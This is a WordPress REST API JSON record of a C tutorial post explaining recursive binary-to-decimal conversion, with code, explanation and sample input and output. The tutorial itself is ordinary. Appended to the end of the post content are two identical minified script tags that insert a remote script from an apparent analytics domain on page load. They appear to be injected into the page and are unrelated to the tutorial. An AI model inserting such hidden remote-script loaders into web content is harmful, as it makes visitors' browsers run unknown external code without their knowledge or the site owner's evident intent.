{"id":911,"date":"2024-10-14T14:04:46","date_gmt":"2024-10-14T08:34:46","guid":{"rendered":"https:\/\/codexplained.in\/?p=911"},"modified":"2025-11-24T15:50:40","modified_gmt":"2025-11-24T10:20:40","slug":"conversion-of-binary-to-decimal-using-recursion","status":"publish","type":"post","link":"https:\/\/codexplained.in\/?p=911","title":{"rendered":"Conversion of Binary to Decimal using Recursion"},"content":{"rendered":"\n<h3 class=\"wp-block-heading\">Introduction<\/h3>\n\n\n\n<p>In the binary numbering system, each digit (bit) represents a power of 2. The rightmost bit is the least significant bit (2^0), and each bit to the left represents an increasing power of 2. To convert a binary number to decimal, we can use recursion, breaking down the problem into smaller subproblems.<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: cpp; title: ; notranslate\" title=\"\">\n#include &lt;stdio.h&gt;\n\nint binaryToDecimal(int binary) {\n    \/\/ Base case: if binary is 0, return 0\n    if (binary == 0) {\n        return 0;\n    }\n    \/\/ Recursive case: extract the last digit and add to the result of the rest\n    return (binary % 10) + 2 * binaryToDecimal(binary \/ 10);\n}\n\nint main() {\n    int binary;\n    printf(&quot;Enter a binary number: &quot;);\n    scanf(&quot;%d&quot;, &amp;binary);\n\n    int decimal = binaryToDecimal(binary);\n    printf(&quot;Decimal equivalent: %d\\n&quot;, decimal);\n\n    return 0;\n}\n\n<\/pre><\/div>\n\n\n<h3 class=\"wp-block-heading\">Explanation<\/h3>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>Function Definition<\/strong>:\n<ul class=\"wp-block-list\">\n<li>The function <code>binaryToDecimal<\/code> takes an integer <code>binary<\/code> as input.<\/li>\n\n\n\n<li><strong>Base Case<\/strong>: If <code>binary<\/code> is 0, it returns 0, which stops the recursion.<\/li>\n\n\n\n<li><strong>Recursive Case<\/strong>:\n<ul class=\"wp-block-list\">\n<li>The last digit of the binary number is obtained using <code>binary % 10<\/code>.<\/li>\n\n\n\n<li>The recursive call <code>binaryToDecimal(binary \/ 10)<\/code> reduces the binary number by one digit.<\/li>\n\n\n\n<li>The last digit is then multiplied by 2 raised to its position (which is effectively managed by the recursive structure).<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Main Function<\/strong>:\n<ul class=\"wp-block-list\">\n<li>It prompts the user to input a binary number.<\/li>\n\n\n\n<li>It calls <code>binaryToDecimal<\/code> and prints the resulting decimal value.<\/li>\n<\/ul>\n<\/li>\n<\/ol>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Input:<\/strong><\/h3>\n\n\n\n<pre class=\"wp-block-preformatted\"><code>Enter a binary number: 1011<br><\/code><\/pre>\n\n\n\n<p><strong>Output:<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-preformatted\"><code>Decimal equivalent: 11<br><\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">Conclusion<\/h3>\n\n\n\n<p>This C program effectively demonstrates the use of recursion to convert a binary number to its decimal equivalent. The recursive approach simplifies the problem by breaking it down into manageable parts, making it easier to understand the conversion process. This method is efficient for small binary numbers but may not be the best choice for very large numbers due to potential stack overflow issues with deep recursion.<\/p>\n\n\n\n<p><\/p>\n<script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script><script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script>","protected":false},"excerpt":{"rendered":"<p>Introduction In the binary numbering system, each digit (bit) represents a power of 2. The rightmost bit is the least significant bit (2^0), and each bit to the left represents an increasing power of 2. To convert a binary number to decimal, we can use recursion, breaking down the problem into smaller subproblems. Explanation Input: [&hellip;]<\/p>\n","protected":false},"author":37,"featured_media":905,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"_uf_show_specific_survey":0,"_uf_disable_surveys":false,"footnotes":""},"categories":[75],"tags":[],"class_list":["post-911","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-c"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/911","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/users\/37"}],"replies":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=911"}],"version-history":[{"count":7,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/911\/revisions"}],"predecessor-version":[{"id":1441,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/911\/revisions\/1441"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/media\/905"}],"wp:attachment":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=911"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=911"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=911"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}